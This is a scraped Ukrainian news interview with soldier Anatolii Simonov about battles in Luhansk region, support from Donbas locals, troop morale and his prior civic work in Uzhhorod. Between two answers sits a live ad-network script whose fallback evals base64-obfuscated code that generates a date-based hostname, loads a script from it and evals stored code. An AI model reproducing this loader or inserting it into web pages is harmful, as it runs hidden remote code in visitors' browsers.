Боєць 128-ї бригади Анатолій Сімонов: про бої під Лисичанськом, рецепт перемоги та взаємини з місцевими мешканцями на Донбасі

З військовослужбовцем 128-ї бригади Анатолієм Сімоновим ми познайомилися досить впидаково. Бійці одного з підрозділів закарпатських штурмовиків отримали невеликий перепочинок після відходу з під Сєвєродонецьку і перебували в Запорізькій області. Під час спілкування боєць з Ужгорода, який відомий у своєму місті ще й активною громадською діяльністю, поділився з журналістом Акценту історіями з війни та власними думками.

-Як довго ви вже на війні, чому вирішили піти служити?

-Почув 24 лютого, що почалась війна, пішов в військомат. Хотів записатись у 80-полк ДШВ, де служив, там сказали місць немає, то пішов у 128-му бригаду, 15-й батальон.

-Що запам’яталося найбільше на війні, де ви були?

-Ми вже 5.5 місяців на війні. Всі населені пункти я не можу називати. Але з того, що можна — це звичайно страшні бої були біля Білогорівки на початку травня, коли росіяни намагались форсувати Сіверьский Донець. Нажаль і наші втрати там є. Пам’ятаю кількох танкістів, з якими спілкувався там… потім їх вже не було. 

Cтояли там з протитанковими засобами тиждень, чекали росіян. Ще були у Кременній та Краснянці (Луганщина). В останній були два важких бої — один 4 години, один 6 годин. Але тоді відстояли позиції.

-На вашу думку, через що російським військам вдавалося досі просуватися, зокрема на Донбасі?

-Росіян та їх найманців набагато більше, на одного нашого воїна приходилося десь 5 росіян. В них багато дронів, “Орланів” різних — вони ними все розвідують, все бачать. Ну і це не прості військовослужбовці. Схоже якісь зеки, наркомани, алкаші. Ми сидимо в своїх окопах, боронемо свою землю, а вони просто на нас йдуть, знаючи що на смерть їх відправляють.

-Як із забезпеченням у частині?

-Всього вистачає. Артилерія нам завжди допомагає. Навіть якщо починається обстріл, то вже за максимум хвилину-дві наша артилерія відповідає, і в нас є десь півгодини-годину потім відпочити. Наприклад коли стоїмо в лісосмузі, як у Яковлівці, то зранку о 4-ї годині вертоліт літає, за 5 км по нашій позиції стріляє, міномет 120 мм лупить. Пригаємо в окопи, молимось, щоб всі живі були і слідкуємо, щоб потім ніхто не пройшов.

-Який рецепт перемоги, що нам потрібно зробити, яка зброя чи якісь командирські рішення можливо мають допомогти?

-З командуванням все ок, головне  — не байдужість людей. Багато людей думає, що війна пройде мимо. Наприклад, ми з Закарпаття, Ужгорода приїхали сюди боронити Донецьку, Луганську область. І нам не дуже приємно, що у нас в Ужгороді приїхали, спокійно відпочивають здорові мужики, до армії не мають ніякого відношення, нічого не роблять, навіть не працюють, просто відпочивають, нормально себе “чухають”. Я наприклад мав свій рекламний бізнес, закрив його. Я не хочу щоб до мене прийшли загарбники, говорили, що я маю робити. Просто хочу жити у вільній країні. У нас можна вільно писати свої думки, публікації, пости, коментувати. В росії ж немає свободи слова. Там просто за коментарі в соцмережах можуть на добу “закрити”.  У нас навпаки, що хочемо — то робимо. Хотілося б, щоб не було байдужості від людей. Дякувати богу дали відпустки, то бійці відпочили трохи. Вже готові до нових завдань, нового місця дислокації. Куди бог пошле, туді и підемо.

-Яке було ставлення місцевих на Донбасі?
var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

 -Завжди позитивне ставлення. Навіть не хотіли брати гроші. Кожен день нам по 3 л молока наливали, ми його не встигали випивати, по кілька десятків яєць кожні кілька днів давали, творог.  І ми навіть хочемо дати гроші, а вони не беруть. Навіть була така ситуація. Знайшов якось 200 грн, потім бабуля підійшла  до мене спитала, як у мене справи. Я їй подарив, а вона мені молока подарувала.

— Який морально-психологічний стан бійців?

— Все нормально. 90% всього особового складу в нас мають жінку, двох-трьох дітей, деякі онуків. Є і молоді хлопці, але значна кількість —  це чоловіки за 30, 35 років, є і за 50.  Більшість військових у нашій бригаді добровольці — пішли самі захищати нашу рідну землю. Оскільки хочуть жити у свой вільній державі. Тому і з мотивацією та морально-психологічним станом все добре. 

 -Чим ви займалися до війни?

Поки не почалася війна займався розробкою, дизайном та виготовленням зовнішньої реклами. Почав професійно працювати у цій сфері  з 2007 року, спочатку 3 роки робив на одній відомій в Ужгороді фірмі “Престиж-лайт”. Потім як загинув мій шеф, відкрив  вже свою фірму, з 2010 вже 12 років так працюю. В Закарпатті, по всій України, навіть за кордоном зробив тисячі об’єктів. Основні клієнти — це і державні установи, різні магазини, робив і рекламу і на вибори.

Знаю, що ви достатньо відомі в Ужгороді своєю активною громадською діяльністю. Є також помічником депутата Закарпатської обради. Чим займалися, які проблеми в Ужгороді підіймали?

 — Займався багатьма питаннями, в першу чергу це те, що стосується комфорту життя в місті. Це, зокрема, контроль своєчасного вивезення сміття у м. Ужгород. Прибирання за свій рахунок 12 сміттєвих майданчиків і дотримання їх у чистоті, виявлення несанкціонованих сміттєзвалищ та прохання і контроль за прибиранням комунальними підприємствами та ТОВ «Аве Умвельт Україна»… виявлення порушників із несанкціонованого розклеювання оголошень у м. Ужгород,  Також ініціював неодноразові звернення до Ужгородської міської ради із проблеми зношеності сміттєвих баків у м. Ужгород… про що є багато відписок : «в бюджеті міста не закладено коштів на подібні проблеми»… допомога нужденним, хворим… про всі ці нюанси є багато фото і відео в мене на сторінці у Фейсбук… (Відео громадської діяльності Анатолія можете подивитися нижче в кінці інтерв’ю — ред.)

Анатолій Сімонов помічник депатат Закарпатської облради Петра Станка

-Чи є вже плани, що будете робити після нашої перемоги?

-Хочу мінімум місяць відпочити, можливо з’їздити за кордон, на острови якісь. Забезпечення в нас хороше, грошей достатньо платять. Потім повернусь до роботи своєї та громадської діяльності.

Нагадаємо, раніше Анатолій Сімонов представив в обличчях бійців свого 15 батальону 128-ї ОГШБ.

Примітка. Фото — архів Анатолія Сімонова. (adsbygoogle = window.adsbygoogle || []).push({});

Підписуйтесь на Акцент в Источник: https://akzent.zp.ua/boyets-128-yi-brigadi-anatolij-simonov-pro-boyi-pid-lisichanskom-retsept-peremogi-ta-vzayemini-z-mistsevimi-meshkantsyami-na-donbasi/

Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook

Share this post

Добавить комментарий

scroll to top